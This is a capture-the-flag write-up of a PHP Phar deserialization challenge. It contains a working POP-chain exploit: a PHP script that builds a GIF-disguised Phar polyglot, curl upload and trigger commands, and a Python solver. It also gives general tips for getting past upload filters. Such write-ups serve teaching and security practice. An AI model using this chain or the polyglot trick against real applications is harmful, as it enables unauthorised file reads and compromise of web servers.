Flag:
flag{...}(organiser-rotated)A four-class PHP POP chain delivered through Phar's metadata deserialization. The bug shape is canonical —
file_exists($_GET['file'])triggered against aphar://-wrapped path — but the chain itself spansUser → FileList → File → File::close → file_get_contentsand uses__callas the bridge between classes that don't obviously interact. The interesting parts to record are: (1) which file operation actually triggers Phar deserialization in this app (it's not the obviousdownload.php), (2) why aGIF89astub passes the upload filter, and (3) how the destruct ordering betweenUserandFileListaccidentally gives us output.
| Field | Value |
|---|---|
| Stack | PHP 5.6.40 + nginx |
| Upload | Whitelist on Content-Type → image/gif, image/jpeg, image/png |
| Storage | uploads/sha1(username + "sftUahRiTz")/ |
| Target | /flag.txt outside webroot |
| Filter | download.php filters the keyword flag |
| Bypass surface | delete.php calls file_exists() on user-controllable path with no open_basedir enforcement |
download.php accepts an absolute path. Reading it back gives us the application source:
GET /download.php?file=/var/www/html/index.php → index.php source
GET /download.php?file=/var/www/html/class.php → all class definitions
GET /download.php?file=/var/www/html/delete.php
GET /download.php?file=/var/www/html/upload.php
We can't read /flag.txt directly through download.php because the keyword flag is filtered in that endpoint. We can however read it through Phar deserialization (which goes through file_get_contents, a different code path with no keyword filter).
class User {
public $db;
public function __destruct() {
$this->db->close(); // ← entry point on object destruction
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __call($name, $args) {
// routes unknown calls to all member File objects
array_push($this->funcs, $name);
foreach ($this->files as $file) {
$this->results[$file->name()][$name] = $file->$name();
}
}
public function __destruct() {
// prints the results table — this is our output channel
$table = "<table>...<tr><td>{name}</td><td>{close result}</td></tr>...</table>";
echo $table;
}
}
class File {
public $filename;
public function name() { return basename($this->filename); }
public function close() { return file_get_contents($this->filename); }
// ...other file ops
}The POP chain composes:
User::__destruct()— fires when the unserialized object is garbage-collected. Calls$this->db->close().- If
$this->dbis aFileList(which has noclosemethod),__call('close', [])triggers. FileList::__call('close')— iterates$this->files, calls$file->close()on each, stores result in$this->results[name]['close'].File::close()— returnsfile_get_contents($this->filename). We set$this->filename = "/flag.txt".FileList::__destruct()fires afterUser::__destruct()returns. The__callstep has already populated$this->results. The destructor echoes a table containing those results — including the file contents we just read.
The destruct-order detail (User first, then FileList) is the critical bit. It's not arbitrary — PHP destructs objects in reverse order of their internal handle assignment. The Phar payload must place User after FileList so that User gets destructed first.
<?php
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$f = new File();
$f->filename = "/flag.txt";
$this->files = [$f];
$this->results = [];
$this->funcs = [];
}
}
class File {
public $filename;
}
@unlink("exploit.phar");
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); // GIF magic bytes for upload filter
$phar->addFromString("test.txt", "test");
$flist = new FileList();
$user = new User();
$user->db = $flist;
$phar->setMetadata($user); // ← unserialize target
$phar->stopBuffering();
rename("exploit.phar", "exploit.gif");Run this locally with php -d phar.readonly=0 build.php. Output: exploit.gif.
The GIF89a stub is the trick. Phar's __HALT_COMPILER() machinery scans for that token regardless of what precedes it — so prepending the GIF magic bytes lets the file pass:
Content-Type: image/gif(browser / server sniff)getimagesize()checks if any are added later- Manual extension checks for
.gif
While still being a valid Phar archive that PHP's phar:// wrapper can parse.
The Phar trigger fires when any file-system function receives a path that begins with phar://. Candidates:
file_exists(),is_file(),is_dir(),stat(),fopen(),file_get_contents(),unlink(), etc.
download.php calls file_get_contents() — would trigger Phar deserialization — but has open_basedir set to the webroot. phar:// paths within the webroot work, but cross-directory file reads inside the unserialized callback also need to escape open_basedir, which is not always reliable.
delete.php's implementation:
$path = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/" . $_POST['filename'];
if (file_exists($path)) {
unlink($path);
echo "deleted";
}No open_basedir enforcement. file_exists() triggers Phar deserialization when given phar://uploads/<sha1-dir>/exploit.gif. From inside the deserialized POP chain we then reach file_get_contents('/flag.txt') freely.
# Step 1: register a user, log in, capture session cookie
# Step 2: derive upload directory
$ python -c "import hashlib; print(hashlib.sha1(('alice'+'sftUahRiTz').encode()).hexdigest())"
93d4a3b2f9...
# Step 3: build the phar locally
$ php -d phar.readonly=0 build.php
# → exploit.gif
# Step 4: upload it
$ curl -b "PHPSESSID=..." \
-F "file=@exploit.gif" \
http://target/upload.php
# Step 5: trigger via delete.php with phar:// wrapper
$ curl -b "PHPSESSID=..." \
-d "filename=../../uploads/93d4a3b2f9.../exploit.gif" \
--data-urlencode "filename=phar://uploads/93d4a3b2f9.../exploit.gif" \
http://target/delete.php(The relative-path traversal needs care — depending on delete.php's working directory, you may need phar://uploads/... directly without traversal.)
The response from delete.php will contain the FileList::__destruct() echo'd table — and inside it, the flag.
#!/usr/bin/env python3
import sys
import hashlib
import requests
TARGET = sys.argv[1].rstrip('/')
USER = "alice"
PASS = "alice"
s = requests.Session()
# 1) Register + login
s.post(f"{TARGET}/register.php", data={"username": USER, "password": PASS})
s.post(f"{TARGET}/login.php", data={"username": USER, "password": PASS})
# 2) Derive upload dir
salt = "sftUahRiTz"
dirname = hashlib.sha1((USER + salt).encode()).hexdigest()
# 3) Upload pre-built exploit.gif (build with build.php beforehand)
with open("exploit.gif", "rb") as f:
s.post(f"{TARGET}/upload.php", files={"file": ("exploit.gif", f, "image/gif")})
# 4) Trigger
phar_path = f"phar://uploads/{dirname}/exploit.gif"
r = s.post(f"{TARGET}/delete.php", data={"filename": phar_path})
print(r.text) # contains the flag in the rendered table| Trap | Why it cost me time | Resolution |
|---|---|---|
Tried download.php as trigger |
The keyword filter on flag blocked direct reads, but I assumed the phar wrapper would bypass it |
download.php's filter checks the raw path string. phar://uploads/.../exploit.gif doesn't contain flag, so it passes — but the deserialized file_get_contents inside the POP chain still hit open_basedir restrictions on download.php's context |
| Built the Phar without GIF stub | Standard <?php __HALT_COMPILER();?> stub; upload filter blocked it |
Prefix GIF89a to the stub — Phar tolerates anything before __HALT_COMPILER() |
| Wrong destruct order | Initially placed $user inside FileList::$files, so FileList destructed first and printed empty results |
The User object needs to be the top-level metadata, with FileList nested inside $user->db. PHP destructs handles in reverse allocation order; getting this right takes attention to the build script |
phar.readonly=Off not set locally |
php build.php errored "creating archive disabled by readonly INI option" |
Always run build with php -d phar.readonly=0 build.php. On many distros readonly is On by default |
| Forgot to log in before upload | upload.php redirected to login; phar got 302'd |
Session cookie discipline — log in, then upload, then trigger, all in the same session |
| Upload directory computed wrong | Used sha1(USER) without the salt |
Always read the source. The salt sftUahRiTz was in upload.php |
- Phar deserialization triggers on any file-system function with a
phar://path. Memorise the list:file_exists,is_file,is_dir,stat,lstat,fileatime,filemtime,fopen,file,file_get_contents,readfile,unlink,filesize. Every one of these is a potential entry point. - POP chain construction is a graph-walking problem. Start from the magic methods you have (
__destruct,__wakeup,__call,__toString,__get,__set). Build the directed graph of "what methods do these magic methods call". Search for a path to your desired sink (file read, command exec, etc.).__callis the most flexible bridge because it accepts arbitrary method names. - Destruct ordering matters in multi-class chains. PHP destructs objects in reverse handle-allocation order. When chaining
Class A → Class B, make sure the outermost container (the one yourPhar::setMetadatapoints to) is the one whose__destructshould fire first. - Image stubs are universal upload filter bypass.
GIF89afor GIF,\xff\xd8\xff\xe0for JPEG,\x89PNG\r\n\x1a\nfor PNG. Phar archives, malicious SVGs, polyglot files — all of them benefit from a magic-byte prefix. - Filter location matters. A keyword filter on path strings is bypassed by URL-encoding, alternate path representations (
phar://,compress.zlib://), or by chaining through a function that doesn't see the user-controlled string directly (POP chain).
- PHP Phar Deserialization — PayloadsAllTheThings reference
- Sam Thomas's BlackHat 2018 talk — original public disclosure of Phar deserialization
- phpggc — Ambionics's automated POP chain generator for common PHP libraries